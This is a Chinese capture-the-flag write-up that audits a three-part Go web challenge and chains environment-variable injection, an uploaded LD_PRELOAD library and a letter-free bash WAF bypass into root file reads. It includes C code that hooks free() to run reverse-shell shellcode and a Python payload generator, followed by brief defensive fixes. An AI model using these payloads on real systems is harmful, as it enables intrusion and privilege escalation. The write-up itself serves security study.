2021湖湘杯决赛-MultistageAgency

 

赛前比赛通知说让准备Golang的环境,本以为是一道Pwn题,搜集了一波关于Golang-Pwn的资料,最后没想到是道Web题。因为最近也在学习Golang,所以这里总结一下这道题。

题目附件

 

解题思路

题目附件目录结构如下所示:

❯ tree
.
├── 
├── dist
│   ├── index.html
│   └── static
│       ├── css
│       │   ├── app.21c401bdac17302cdde185ab911a6d2b.css
│       │   └── app.21c401bdac17302cdde185ab911a6d2b.css.map
│       ├── img
│       │   └── ionicons.49e84bc.svg
│       └── js
│           ├── app.67303823400ea75ce4a3.js
│           ├── app.67303823400ea75ce4a3.js.map
│           ├── manifest.3ad1d5771e9b13dbdad2.js
│           ├── manifest.3ad1d5771e9b13dbdad2.js.map
│           ├── vendor.a7c8fbb85a99c9e2bbe8.js
│           └── vendor.a7c8fbb85a99c9e2bbe8.js.map
├── docker-compose.yml
├── flag
├── go.mod
├── go.sum
├── proxy
│   └── main.go
├── secret
│   └── key
├── server
│   └── main.go
├── start.sh
├── vendor
│   ├── github.com
│   │   └── elazarl
│   │       └── goproxy
│   │           ├── LICENSE
│   │           ├── README.md
│   │           ├── actions.go
│   │           ├── all.bash
│   │           ├── ca.pem
│   │           ├── certs.go
│   │           ├── chunked.go
│   │           ├── counterecryptor.go
│   │           ├── ctx.go
│   │           ├── dispatcher.go
│   │           ├── doc.go
│   │           ├── go.mod
│   │           ├── go.sum
│   │           ├── https.go
│   │           ├── key.pem
│   │           ├── logger.go
│   │           ├── proxy.go
│   │           ├── responses.go
│   │           ├── signer.go
│   │           └── websocket.go
│   └── modules.txt
└── web
    └── main.go

13 directories, 41 files

附件提供了启动题目环境Docker的相关文件,先看下Dockerfile,从中可以得到几个关键点:

1、golang代码编译命令以及生成二进制文件路径
2、flag只有root能读

FROM golang:latest
RUN mkdir -p /code/logs
COPY . /code
WORKDIR /code
RUN go build -o bin/web web/main.go && \
        go build -o bin/proxy proxy/main.go && \
        go build -o bin/server server/main.go
RUN chmod -R 777 /code
RUN useradd web
ADD flag /flag
RUN chmod 400 /flag
ENTRYPOINT  "/code/start.sh"

再看start.sh,在tmp目录下生成了一个无用的key,然后以web用户分别运行web和proxy两个二进制文件,再以root用户启动server二进制文件。

echo `cat /proc/sys/kernel/random/uuid  | md5sum |cut -c 1-9` > /tmp/secret/key
su - web -c "/code/bin/web 2>&1  >/code/logs/web.log &"
su - web -c "/code/bin/proxy 2>&1  >/code/logs/proxy.log &"

/code/bin/server 2>&1  >/code/logs/server.log &

tail -f /code/logs/*

接下来审计源码,在web/main.go中,读取web目录下key,设置路由,然后将web服务开放到9090端口。

默认路由在IndexHandler,只是简单的输入了dist/index.htmltoken路由对应getToken函数,该函数中通过请求中的参数来构造数据去请求本地127.0.0.1:9091来获取token。获取请求中RemoteAddr拼接到了curl命令中,在Header头部中插入了一个键值对Fromhost: r.RemoteAddr,然后会获取请求中的参数(无论是get还是post)来设置成执行命令exec.Command的环境变量,经过抓包发现默认是http_proxy=127.0.0.1:8080,将curl请求结果返回到页面中

/upload路由对应的是uploadFile函数,函数中先获取get传参过来的token,然后验证token的正确性,若Token不正确则直接返回。验证过Token之后会计算当前token下上传文件的数量,如果数量大于5个时就会去请求127.0.0.1:9091/manage,若不大于5个,则直接上传到upload/[token]/[filename],filename是通过RandStringBytes函数随机生成的5个字符

checkToken函数中是检查token正确性的具体实现,就是md5(SecretKey+ip)

/list路由对应的是listFile函数,函数中同样先调用checkToken验证token,然后在页面上输出该Token已经上传上去的文件名

proxy/main.go中引用github.com/elazarl/goproxy包实现http代理,当使用该代理时,会为每个请求的header头部加上Secretkey字段,值就是secret/key的内容。

server/main.go中也是先读取了secret/key,然后设置了两个路由,分别是默认路由和/manage,默认路由就是用来获取Token,对应getToken函数,获取请求header头中的Secretkey与刚刚打开的key内容做对比,用这样的方法来确定请求来源是本地,也就是通过8080端口的代理访问过来的。获取请求header头中的Fromhost作为请求IP,计算md5(Secretkey+Fromhost)作为返回的Token

/manage路由对应manage函数,函数中显示获取了请求参数m,然后再通过waf函数对参数m进行限制,waf函数如下所示,禁止用. * ?,以及不能使用两个和两个以上不相同的字母

若参数m通过waf,则会拼接到rm -rf uploads/后面,然后去执行这条命令,将命令的结果返回到页面中

以上就是该题目全部源码分析,思考漏洞出现在哪里?
先考虑用户可控的点在哪里?
1、web/main.go中的RemoteAddr,可控,但是不能随意伪造,只是不同的IP和端口而已
2、web/main.go中的command.Env,可控,可以随意构造
3、web/main.go中的上传文件功能,可以上传任意文件到服务器,并且可以通过IP加默认SecretKey得到Token的值。
4、server/main.go中参数m,可控,但是不是直接可控,因为9091端口不能直接访问到,端口没有映射出来

综上所述,就是用户可控数据的分析,1和4可以直接pass,因为先决条件不足。是否能够配合2和3搞一些东西呢?

看到能够随意设置环境变量不难想到LD_PRELOAD,我们上传你的文件没有限制,并且可以知道上传路径,那么我们就可以通过上传一个恶意的so文件,然后设置LD_PRELOAD环境变量,在执行curl时,就会执行恶意so文件中的代码。

把curl程序dump下来,看会调用哪些库函数,可以发现调用了malloc、free等等一些函数

为了方便,我们劫持free函数,代码如下所示:
其中shellcode使用msf生成的,用于接收反弹的shell

//payload.c
//gcc payload.c -o payload.so -fPIC -shared -ldl -D_GUN_SOURCE -z execstack
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

#define RTLD_NEXT      ((void *) -1l)
static int sign = 0;

void myexp(){
    unsigned char buf[] = "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x11\x5c\x0a\xd3\x37\x02\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x26\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6";
    void (*fp)(void) = (void (*)(void))buf;
    fp();
}

void free (void *__ptr){
    size_t (*new_free)(void *__ptr);
    new_free = dlsym(RTLD_NEXT, "free");
    new_free(__ptr);
    myexp();
    // return result;
}

先获取自己的Token:

❯ curl http://127.0.0.1:19090/token\?http_proxy\=127.0.0.1:8080
{"success":"ce86affc2f34432bcd23b816e352ef67","failed":""}

然后上传构造的恶意So文件,路径就在/code/uploads/ce86affc2f34432bcd23b816e352ef67/gbaiC

在msf中设置好监听,然后构造LD_PRELOAD再次请求/token,然后就可以在msf中接收到web用户的shell

因为/flag只有root才能读,启动的服务中只有bin/server是通过root来启动的,所以只能利用它来进行读取flag,现在我们可以在web的shell中用curl去请求127.0.0.1:9091来访问server

现在的关键点就在于如何绕过waf函数,也就是说如何构造出无字母的shell命令

经过查阅资料,可以利用位运算和进制转换的方法利用符号构造数字,参考链接:<a href=”https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60″”>https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60

生成payload:

#!/usr/bin/env python

# write up:
# https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60

import sys

a = "cat /flag"
if len(sys.argv) == 2:
    a = sys.argv[1]

out = r"${!#}<<<{"

for c in "bash -c ":
    if c == ' ':
        out += ','
        continue
    out += r"\$\'\\"
    out += r"$(($((${##}<<${##}))#"
    for binchar in bin(int(oct(ord(c))[1:]))[2:]:
        if binchar == '1':
            out += r"${##}"
        else:
            out += r"$#"
    out += r"))"
    out += r"\'"

out += r"\$\'"
for c in a:
    out += r"\\"
    out += r"$(($((${##}<<${##}))#"
    for binchar in bin(int(oct(ord(c))[1:]))[2:]:
        if binchar == '1':
            out += r"${##}"
        else:
            out += r"$#"
    out += r"))"
out += r"\'"

out += "}"
print out

带上payload去请求127.0.0.1:9091/manage,成功拿到flag

 

防护思路

1、直接修改默认的key即可获取不到自己的Token,也就获取不到上传文件的路径
2、增加waf函数中的blacklistblacklist := []string{".", "*", "?","#","{","}","$"}

 

参考

1、https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60
2、https://xz.aliyun.com/t/8581#toc-3
3、https://cloud.tencent.com/developer/article/1683272

(完)